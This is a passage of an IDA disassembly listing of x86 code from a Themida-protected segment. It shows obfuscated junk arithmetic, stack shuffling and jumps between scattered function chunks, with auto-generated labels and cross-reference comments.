add eax, 325F428Eh
pop ecx
sub eax, 7AB71C9Ch
push edx
mov edx, 34A208AFh
sub eax, edx
pop edx
add eax, ebx
jmp loc_57034E
; ---------------------------------------------------------------------------
loc_55E7BD: ; CODE XREF: Themida_:00569491j
xor ebx, 81C36FFh
sub ebx, 0AE95C60h
jmp loc_567934
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673DF
loc_55E7CE: ; CODE XREF: sub_5673DF+4DD0j
xor ebx, 6E24947h
push ebx
pop ecx
pop ebx
add ebx, ecx
jmp loc_55DA06
; END OF FUNCTION CHUNK FOR sub_5673DF
; ---------------------------------------------------------------------------
loc_55E7DE: ; CODE XREF: Themida_:0055BE07j
pop eax
xor ebp, [esp]
jmp loc_5623D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E7E7: ; CODE XREF: sub_56755A+7DA7j
xor ch, 5Eh
inc ch
inc ch
sub ch, 4Ah
add dh, ch
pop ecx
jmp loc_563195
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E7F9: ; CODE XREF: Themida_:0056439Dj
sub esp, 4
mov [esp], esi
push 46DDh
mov [esp], esp
jmp loc_55BFEF
; ---------------------------------------------------------------------------
loc_55E80F: ; CODE XREF: Themida_:00560F44j
pop ebp
push edx
sub esp, 4
mov [esp], ecx
mov ecx, 4
push ecx
pop edx
pop ecx
sub ebp, 4C45789Dh
sub ebp, 5E7550F9h
add ebp, 367E03F3h
add ebp, edx
sub ebp, 367E03F3h
add ebp, 5E7550F9h
jmp loc_567438
; ---------------------------------------------------------------------------
loc_55E844: ; CODE XREF: Themida_:0056DED4j
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push ecx
jmp loc_56517B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E856: ; CODE XREF: sub_56755A+295j
mov edi, 4
add edx, edi
pop edi
add edx, 4
jmp loc_55FEF5
; ---------------------------------------------------------------------------
loc_55E869: ; CODE XREF: sub_56755A+6933j
mov [esp+26h+var_28+2], eax
mov eax, 43534AC0h
sub edx, eax
mov eax, [esp+26h+var_28+2]
push edi
jmp loc_5663C1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E87C: ; CODE XREF: Themida_:0055C637j
add esp, 4
sub esp, 4
mov [esp], ecx
sub esp, 4
jmp loc_55CA06
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E893: ; CODE XREF: sub_56755A-7C4Bj
add ebx, 4
jmp sub_55EAC4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5646E3
loc_55E89B: ; CODE XREF: sub_5646E3+1j
mov ebx, 5A0E3873h
sub eax, ebx
pop ebx
xor eax, 2C60C681h
xor ebp, eax
pop eax
sub edi, ebp
pop ebp
add edi, 757B27D4h
add edi, ecx
push eax
mov eax, 1BE83516h
and eax, 36D7316Fh
or eax, 1EDC01CDh
add eax, 569EF605h
sub edi, eax
jmp loc_55D438
; END OF FUNCTION CHUNK FOR sub_5646E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55E8D2: ; CODE XREF: sub_55FDEF+F02Bj
pop esp
push edx
mov edx, 3026742h
jmp loc_56AD8E
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E8DE: ; CODE XREF: sub_56755A-A2E8j
mov edx, 432C7Bh
push ebx
mov ebx, edx
mov edi, ebx
pop ebx
pop edx
push 46C8h
mov [esp+24h+var_24], ebx
mov ebx, 71FE5E5Ch
jmp loc_56D915
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55E8FC: ; CODE XREF: Themida_:0056BB1Bj
pop edi
inc ecx
push edx
mov edx, 4AD60979h
add edx, 13C72A16h
add edx, 0FFFFFFFFh
push ebp
mov ebp, 7AA404F6h
jmp loc_564CD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55E91B: ; CODE XREF: sub_55FDEF-299Dj
xor esi, 2E645076h
sub eax, 4D9727ECh
jmp loc_56189A
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E92B: ; CODE XREF: sub_56755A-B06j
push edx
jmp sub_5702DD
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55E931 proc near ; CODE XREF: sub_566504-9A2Bj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055F87C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056045D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056070A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056253C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00562C1F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564856 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 005696D6 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00569953 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056A7F4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056EEE4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056F854 SIZE 0000000D BYTES
push ebx
pop esi
pop ebx
xchg esi, [esp-4+arg_0]
mov esi, [esp-4+arg_0]
add esp, 4
shr esi, 1
push edi
jmp loc_564856
sub_55E931 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_55E945: ; CODE XREF: sub_566C65+4C39j
mov edi, [esp+8+var_8]
add esp, 4
push edx
mov edx, 27993BCBh
sub ecx, edx
mov edx, [esp+8+var_8]
jmp loc_56FD00
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E95E: ; CODE XREF: sub_56755A+2E64j
add ecx, 1F105638h
sub ecx, 3AC222Dh
add ecx, eax
add ecx, 3AC222Dh
sub ecx, 1F105638h
add ecx, 52270219h
mov eax, [esp+28h+var_28]
jmp loc_563158
; ---------------------------------------------------------------------------
loc_55E986: ; CODE XREF: sub_56755A-B1D3j
mov [esp+8+var_8], edi
mov edi, 29332DFEh
shr edi, 5
and edi, 75E75157h
jmp sub_56B274
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55E99C proc near ; CODE XREF: sub_55BA18+D598j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BA37 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055D03F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055EFFA SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005603F6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056345F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005687D5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056BE1D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056DD66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DF9F SIZE 00000022 BYTES
push ebp
jmp loc_5603F6
sub_55E99C endp
; ---------------------------------------------------------------------------
loc_55E9A2: ; CODE XREF: Themida_:0056E2D8j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56A3E6
; ---------------------------------------------------------------------------
loc_55E9B0: ; CODE XREF: Themida_:00565235j
or edx, 2BEA46C5h
jmp loc_5628D6
; ---------------------------------------------------------------------------
loc_55E9BB: ; CODE XREF: Themida_:005688DEj
add edx, 29AD14A6h
jmp loc_56E50D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55E9C6: ; CODE XREF: sub_56E89A-1281Ej
pop ecx
pop edi
mov ebx, [esp+4+var_4]
jmp loc_569827
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_55E9D0: ; CODE XREF: Themida_:00565B96j
add esi, 0FE7AAAB6h
jmp loc_55DAFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55E9DB: ; CODE XREF: sub_56755A+5426j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
push 4313h
mov [esp+8+var_8], ecx
jmp sub_56CEC8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_55E9EE: ; CODE XREF: sub_55FE13+3891j
mov cl, al
pop eax
pop edx
jmp loc_55E006
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
push 2B2Dh
mov [esp], esp
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
jmp loc_5702EB
; ---------------------------------------------------------------------------
loc_55EA0E: ; CODE XREF: Themida_:0055CC48j
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push cx
mov ch, al
push ebx
mov bh, dh
mov al, bh
jmp loc_560872
; ---------------------------------------------------------------------------
loc_55EA34: ; CODE XREF: Themida_:0056C0B5j
mov edi, 14940B2Dh
jmp loc_56DEFC
; ---------------------------------------------------------------------------
loc_55EA3E: ; CODE XREF: Themida_:0056FBB4j
shl eax, 5
push ecx
jmp loc_56F8A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EA47: ; CODE XREF: sub_56755A-2281j
pop ebp
jmp loc_566A34
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5656A3
; ---------------------------------------------------------------------------
loc_55EA56: ; CODE XREF: Themida_:0056AE82j
mov [esp], ebx
push 6441h
jmp loc_561B70
; ---------------------------------------------------------------------------
loc_55EA63: ; CODE XREF: Themida_:00566ED7j
add al, 33h
jmp loc_568B95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5664A8
loc_55EA6A: ; CODE XREF: sub_5664A8+5A1Fj
add [esp+arg_0], 76EC3634h
pop ebp
mov edx, [esp-4+arg_0]
add esp, 4
jmp sub_56166C
; END OF FUNCTION CHUNK FOR sub_5664A8
; ---------------------------------------------------------------------------
loc_55EA7E: ; CODE XREF: Themida_:0055F9B7j
pop dword ptr [esp]
jmp loc_55D844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EA86: ; CODE XREF: sub_56755A+68FBj
pop ebx
push 0C70h
mov [esp+4+var_4], ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_55B99F
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55EA9F proc near ; CODE XREF: sub_56D164-9022j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055D2DD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056671A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056892C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005692BE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056D6E4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056EECE SIZE 00000016 BYTES
sub esp, 4
mov [esp+4+var_4], esi
push 506Dh
mov [esp+8+var_8], edx
mov edx, 18302F2Dh
push esi
push edi
mov edi, 18A37A53h
mov esi, edi
pop edi
jmp loc_56EECE
sub_55EA9F endp
; =============== S U B R O U T I N E =======================================
sub_55EAC4 proc near ; CODE XREF: sub_56755A-8CC4j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005655F6 SIZE 00000009 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push dword ptr [esp+4]
jmp loc_5655F6
sub_55EAC4 endp
; ---------------------------------------------------------------------------
loc_55EAD3: ; CODE XREF: Themida_:00563558j
sub esp, 4
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
push esi
mov esi, esp
push edx
jmp loc_55CF26
; ---------------------------------------------------------------------------
loc_55EAEF: ; CODE XREF: Themida_:00568ACAj
xor ebp, 168D0968h
push esi
push edi
push 3D804532h
pop edi
add edi, 0C27FBACEh
mov esi, edi
jmp loc_565FD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_55EB0A: ; CODE XREF: sub_562C5D+3j
mov al, 0C5h
jmp loc_56C94F
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
loc_55EB11: ; CODE XREF: Themida_:0056186Aj
mov ebx, [esp]
add esp, 4
inc ebx
sub ebx, 78CB4CFDh
neg ebx
sub ebx, 525807E5h
inc ebx
sub ebx, 0E7F80E37h
add ecx, ebx
pop ebx
add ecx, 4
xor ecx, [esp]
jmp loc_563FA4
; ---------------------------------------------------------------------------
loc_55EB41: ; CODE XREF: Themida_:00564851j
inc ebx
shl ebx, 4
xor ebx, 4BD460C2h
and edx, ebx
pop ebx
jmp loc_55E14F
; ---------------------------------------------------------------------------
loc_55EB53: ; CODE XREF: Themida_:0055EBB9j
mov ebx, eax
pop eax
mov esi, ebx
pop ebx
add ecx, 385A3195h
push edi
mov edi, 41B355BBh
jmp loc_567034
; ---------------------------------------------------------------------------
loc_55EB6A: ; CODE XREF: Themida_:005703E8j
add esp, 4
sub esp, 4
mov [esp], ebx
mov ebx, 4D9951D6h
jmp loc_567514
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56026A
loc_55EB7D: ; CODE XREF: sub_56026A+5C89j
not edx
sub edx, 4C354171h
shr edx, 3
inc edx
sub edx, 13ECF2ADh
sub ebp, 190C256Dh
add ebp, edx
jmp loc_56A08D
; END OF FUNCTION CHUNK FOR sub_56026A
; ---------------------------------------------------------------------------
loc_55EB9C: ; CODE XREF: Themida_:0055F5A8j
mov [esp], esi
push 4
pop esi
jmp loc_560D8E
; ---------------------------------------------------------------------------
loc_55EBAA: ; CODE XREF: Themida_:00560D18j
pop ecx
add ecx, 4
push esi
push ebx
push eax
mov eax, 4
jmp loc_55EB53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_55EBBE: ; CODE XREF: sub_55D71E+1E07j
xchg edx, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ecx
push ebx
mov bh, dl
push edx
mov dh, bh
mov cl, dh
jmp loc_56D7BA
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
loc_55EBD2: ; CODE XREF: Themida_:00560C7Bj
pop esi
shl ebx, 8
sub ebx, 1
shr ebx, 6
add ebx, 2FCF2DEAh
push ebx
sub dword ptr [esp], 1CB61335h
jmp loc_56CF6B
; ---------------------------------------------------------------------------
loc_55EBEF: ; CODE XREF: Themida_:005639E7j
push 6102h
mov [esp], edi
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
jmp loc_56DB07
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_55EC0A: ; CODE XREF: sub_56F653-6294j
movzx eax, al
mov dx, [esp+0]
sub esp, 4
mov [esp+4+var_4], ebp
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
jmp loc_569F8A
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_55EC26: ; CODE XREF: Themida_:0056EFC8j
shl edx, 5
shl edx, 3
add edx, 6EB26D4Bh
sub ecx, edx
pop edx
sub ebx, ecx
jmp loc_55CC88
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push eax
push edi
jmp loc_55C993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EC5F: ; CODE XREF: sub_56755A+180j
mov ch, 0BFh
not ch
xor ch, 0BFh
add bh, ch
pop ecx
add bh, 0D0h
jmp loc_561D04
; ---------------------------------------------------------------------------
loc_55EC71: ; CODE XREF: sub_56755A+9013j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_55EC76 proc near ; CODE XREF: sub_56755A-3EEBj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00562586 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00564716 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D707 SIZE 00000019 BYTES
push ebx
mov eax, [esp+4+var_4]
add esp, 4
push dword ptr [esp+0]
mov ebx, [esp+4+var_4]
add esp, 4
add esp, 4
push 3F61h
jmp loc_562586
sub_55EC76 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55EC93: ; CODE XREF: sub_55FDEF+348Dj
mov esi, [esp+4+var_4]
jmp loc_562671
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
loc_55EC9B: ; CODE XREF: Themida_:00562B10j
mov [esp], eax
push esp
pop eax
jmp loc_56E1DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55ECA5: ; CODE XREF: sub_56755A+23F4j
add esi, 10830542h
add esi, edi
sub esi, 10830542h
pop edi
push 64BBh
mov [esp+0], ebx
mov ebx, 4
add esi, 564A1D8Bh
add esi, ebx
sub esi, 564A1D8Bh
jmp loc_56C828
; ---------------------------------------------------------------------------
loc_55ECD4: ; CODE XREF: sub_56755A-BBB8j
mov esp, [esp+8+var_8]
sub esp, 4
jmp loc_56EE48
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55ECDF: ; CODE XREF: Themida_:005646DEj
rol word ptr [esp], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55ECE9: ; CODE XREF: Themida_:005670BBj
sub ebx, 228B4663h
jmp loc_56C095
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_55ECF4: ; CODE XREF: sub_56F653-850Dj
xor eax, esi
mov esi, [esp+8+var_8]
add esp, 4
push ebp
mov ebp, 33291E5Fh
shl ebp, 1
shr ebp, 2
jmp loc_56F194
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D83A
loc_55ED0F: ; CODE XREF: sub_56D83A-DB5Ej
add dword ptr [esp+4], 7F5B308Ah
add [esp+4], eax
sub dword ptr [esp+4], 7F5B308Ah
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 56F14CCDh
add [esp+8], ebx
jmp loc_565ED4
; END OF FUNCTION CHUNK FOR sub_56D83A
; ---------------------------------------------------------------------------
loc_55ED37: ; CODE XREF: Themida_:0056318Aj
add ecx, eax
pop eax
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
jmp loc_568F5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560483
loc_55ED4B: ; CODE XREF: sub_560483+5DD7j
sub ebp, esi
add ebp, 2CC151A9h
pop esi
and eax, ebp
jmp loc_55FE94
; END OF FUNCTION CHUNK FOR sub_560483
; ---------------------------------------------------------------------------
loc_55ED5B: ; CODE XREF: Themida_:0055BF08j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_55ED60: ; CODE XREF: Themida_:0056386Cj
mov [esp], edi
mov edi, esp
push ecx
jmp loc_56BC7D
; ---------------------------------------------------------------------------
loc_55ED6B: ; CODE XREF: Themida_:0056F252j
push ecx
jmp loc_56C0BA
; ---------------------------------------------------------------------------
loc_55ED71: ; CODE XREF: Themida_:0056AAA6j
sub eax, ebx
pop ebx
push ebp
push ecx
push ebx
mov ebx, 6EE330E9h
mov ecx, ebx
pop ebx
push ebx
mov ebx, ecx
mov ebp, ebx
pop ebx
pop ecx
add eax, ebp
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], edi
jmp loc_56CE90
; ---------------------------------------------------------------------------
loc_55ED97: ; CODE XREF: Themida_:00567502j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56BEF9
; ---------------------------------------------------------------------------
loc_55EDA5: ; CODE XREF: Themida_:0056CD16j
sub ch, 98h
and dl, ch
pop ecx
sub dl, 9Ah
jmp loc_564384
; ---------------------------------------------------------------------------
loc_55EDB3: ; CODE XREF: Themida_:00560B62j
pop ebp
jmp loc_56DF25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_55EDB9: ; CODE XREF: sub_563973+1328j
xor ebx, edx
jmp loc_56CE72
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EDC0: ; CODE XREF: sub_56755A+8C61j
pop edx
push ebx
mov ebx, 13F764A5h
xor ebx, 13F764A1h
add edx, ebx
pop ebx
add edx, 4
jmp loc_570530
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EBD2
loc_55EDD8: ; CODE XREF: sub_56EBD2+9j
push esp
jmp loc_56B214
; END OF FUNCTION CHUNK FOR sub_56EBD2
; ---------------------------------------------------------------------------
loc_55EDDE: ; CODE XREF: Themida_:0056D8E6j
add eax, ebx
pop ebx
xchg eax, [esp]
mov esp, [esp]
push ebx
jmp loc_55E09A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EDED: ; CODE XREF: sub_56755A-4940j
add esp, 4
sub esp, 4
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
jmp loc_55E1F4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55EE06: ; CODE XREF: Themida_:005604DEj
push esp
pop ebx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_562B1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EE16: ; CODE XREF: sub_56755A+1C3Cj
pop ebx
xchg edi, [esp+4+var_4]
pop esp
sub esp, 4
mov [esp+4+var_4], edi
push ebp
mov ebp, 6CEC3D28h
jmp loc_563BEC
; ---------------------------------------------------------------------------
loc_55EE2C: ; CODE XREF: sub_56755A-A31Bj
pop [esp+20h+var_20]
mov esp, [esp+1Ch+var_1C]
jmp loc_564257
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55EE37: ; CODE XREF: Themida_:0056B78Fj
sub cl, dl
mov edx, [esp]
jmp loc_55C6CD
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_56B104
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_55EE4A: ; CODE XREF: sub_55C719+3E55j
push eax
sub esp, 4
mov [esp+10h+var_10], ecx
push 5A021743h
pop ecx
add ecx, 42A74607h
jmp loc_56F9C0
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562272
loc_55EE65: ; CODE XREF: sub_562272+1B29j
xor edx, edi
pop edi
xor edi, edx
push [esp+0Ch+var_C]
pop edx
add esp, 4
mov edx, edi
mov edi, [esp+8+var_8]
jmp sub_56A500
; END OF FUNCTION CHUNK FOR sub_562272
; ---------------------------------------------------------------------------
loc_55EE7E: ; CODE XREF: Themida_:00566CE1j
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
push ebp
jmp loc_569674
; ---------------------------------------------------------------------------
loc_55EE94: ; CODE XREF: Themida_:0056D739j
xchg esi, [esp]
pop esp
add ebp, 2
push ebp
jmp loc_56A99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55EEA4: ; CODE XREF: sub_55FDEF+10j
mov esi, [esp+0]
jmp loc_56F169
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EEAC: ; CODE XREF: sub_56755A-17B4j
xor esi, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
mov [esp+1Ch+var_1C], eax
sub esp, 4
mov [esp+20h+var_20], edi
mov edi, 17584219h
push 53C508DDh
mov eax, [esp+24h+var_24]
add esp, 4
xor eax, edi
jmp loc_56974B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F5D6
loc_55EED8: ; CODE XREF: sub_55F5D6+1578j
mov eax, [esp+0]
add esp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0]
mov esp, [esp+0]
mov [esp-4+arg_0], ebx
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
jmp loc_56E609
; END OF FUNCTION CHUNK FOR sub_55F5D6
; ---------------------------------------------------------------------------
loc_55EF08: ; CODE XREF: Themida_:0056FB48j
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5659F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EF15: ; CODE XREF: sub_56755A-3588j
mov [esp+20h+var_20], ecx
push 5902h
mov [esp+24h+var_24], ebp
push 2B757021h
pop ebp
add ebp, 4A441CCFh
jmp loc_55E298
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], eax
jmp loc_56CE3F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_55EF43: ; CODE XREF: sub_56E55E-5979j
xor eax, ebx
jmp loc_56B129
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_55EF4A: ; CODE XREF: sub_56E89A-505Aj
mov edx, 4
mov edi, edx
pop edx
add esi, edi
jmp loc_56A430
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55EF59: ; CODE XREF: sub_56755A+62C0j
add ecx, 4
push edi
mov edi, 4
add ecx, edi
jmp loc_562A59
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_55EF6C: ; CODE XREF: sub_56CB7D+1Dj
add esp, 4
push edi
jmp loc_566D06
; END OF FUNCTION CHUNK FOR sub_56CB7D
; =============== S U B R O U T I N E =======================================
sub_55EF75 proc near ; CODE XREF: sub_56755A-9C77j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561792 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005682FB SIZE 00000009 BYTES
push ebx
push 37F7h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ebx
push edi
mov edi, esp
jmp loc_561792
sub_55EF75 endp
; ---------------------------------------------------------------------------
loc_55EF8B: ; CODE XREF: Themida_:0056F7E6j
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
jmp loc_56EB82
; ---------------------------------------------------------------------------
loc_55EF9A: ; CODE XREF: Themida_:0056AC62j
mov [esp], eax
jmp loc_55F6E0
; ---------------------------------------------------------------------------
loc_55EFA2: ; CODE XREF: Themida_:0056279Fj
xor ecx, 3FE5022Ch
inc ecx
jmp loc_562296
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_55EFAE: ; CODE XREF: sub_56CEC8-AF4Aj
pop ecx
jmp loc_569F13
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
loc_55EFB4: ; CODE XREF: Themida_:0055E2DDj
mov [esp], ecx
jmp loc_56DE36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56532B
loc_55EFBC: ; CODE XREF: sub_56532B-1C66j
pop ebp
jmp loc_5676C6
; END OF FUNCTION CHUNK FOR sub_56532B
; ---------------------------------------------------------------------------
loc_55EFC2: ; CODE XREF: Themida_:0056A2BCj
add esp, 4
sub ecx, 4DA67479h
xor ecx, 78C241FDh
jmp loc_55B76A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FDEF
loc_55EFD9: ; CODE XREF: sub_55FDEF+1AB7j
push esi
mov esi, 38F23731h
add esi, 14A4F0BBh
jmp loc_5628FF
; END OF FUNCTION CHUNK FOR sub_55FDEF
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55C03A
; ---------------------------------------------------------------------------
loc_55EFF3: ; CODE XREF: Themida_:00562BFFj
not edi
jmp loc_5668D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_55EFFA: ; CODE XREF: sub_55E99C+F620j
sub dword ptr [esp+4], 524E492Dh
add dword ptr [esp+4], 17E32005h
pop ebx
mov ecx, [esp+0]
add esp, 4
push ebp
mov ebp, 69C3375Dh
jmp sub_55C719
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_55F01F: ; CODE XREF: sub_56755A+2669j
pop ebp
jmp loc_56DBA6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_55F025: ; CODE XREF: Themida_:0056549Fj
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xchg eax, [esp]
